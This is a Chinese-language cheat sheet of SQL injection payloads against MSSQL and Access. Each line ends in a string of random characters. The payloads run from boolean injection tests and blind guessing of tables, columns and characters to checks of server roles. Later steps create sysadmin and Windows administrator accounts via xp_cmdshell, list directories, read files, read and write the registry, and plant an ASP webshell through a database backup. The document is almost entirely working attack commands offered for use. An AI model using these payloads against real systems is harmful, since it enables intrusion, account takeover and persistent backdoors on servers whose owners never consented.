1.判断是否有注入;and 1=1 ;and 1=2 nQMN2j M
2.初步判断是否是mssql ;and user>0 2sq<"TlQXI
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3.注入参数是字符'and [查询条件] and ''=' I<f M8t.Y>
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' G(e?]{(
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5.判断数据库系统 /zAx`H
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;and (select count(*) from sysobjects)>0 mssql 4(]('[M
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;and (select count(*) from msysobjects)>0 access n`1i k'x?
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 =0|evC
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 }P#gXG
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9.(1)猜字段的ascii值(access) z9ZAY!Zhq]
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 75ob1h"
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(2)猜字段的ascii值(mssql) e)8iPu ..
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 vhW'2<(
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10.测试权限结构(mssql) _BV:i:z
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- WfVie6
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7Fx8&Z
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ;f?bb*1
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- wl4yNC
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- YL+W4ld
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Q\Eq(2p
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;and 1=(select IS_MEMBER('db_owner'));-- gQ[4{+DSf
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11.添加mssql和系统的帐户 D+U^ pl-
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;exec master.dbo.sp_addlogin username;-- e)M1$
;exec master.dbo.sp_password null,username,password;-- vzU %5,
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- z'm;H{xf
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;exec master.dbo.xp_cmdshell 'net user username password ;AaF ;zPV
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ?$?Ni)Z
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 86i =N_
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- E4{8 $:q=
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12.(1)遍历目录 h(9K7
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;create table dirs(paths varchar(100), id int) l}m@9 ~oC
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ms?h/*E<H
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;and (select top 1 paths from dirs)>0 ^^v!..V]J
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) =hA/;
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(2)遍历目录 }}
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- $ZA71TzMV
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 X0m\
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 [P^ .=F
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 'p<(6*,"
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 (*|hlD~
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13.mssql中的存储过程 y'(;!5w
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xp_regenumvalues 注册表根键, 子键 u|+O%s TQ
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 n#4Ra+dD
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xp_regread 根键,子键,键值名 *dGW=aM#C
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;exec xp_regread 8NpQ"0X
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 BwbvZfV|
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xp_regwrite 根键,子键, 值名, 值类型, 值 =E{1QA0
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 wL~
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xp_regdeletevalue 根键,子键,值名 s@0#w*N
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 EyozhIV
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 nNf/$h#;O
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14.mssql的backup创建webshell DT;Hr4Z8^"
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use model p,U.5bX
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create table cmd(str image); Jgb{Tl:r
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insert into cmd(str) values (''); !DXKn\aQf
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backup database model to disk='c:\l.asp'; V9][a
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15.mssql内置函数 q8`JRmt)H
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;and (select @@version)>0 获得Windows的版本号 weKwBw
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 6l<q
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;and (select user_name())>0 爆当前系统的连接用户 5F18/:\n
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;and (select db_name())>0 得到当前连接的数据库 MZv In ZS
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16.简洁的webshell q]DV49UK
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use model Vr+X!DeY
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create table cmd(str image); <-D>^p9
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insert into cmd(str) values (''); /PafIq
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backup database model to disk='g:\wwwtest\l.asp';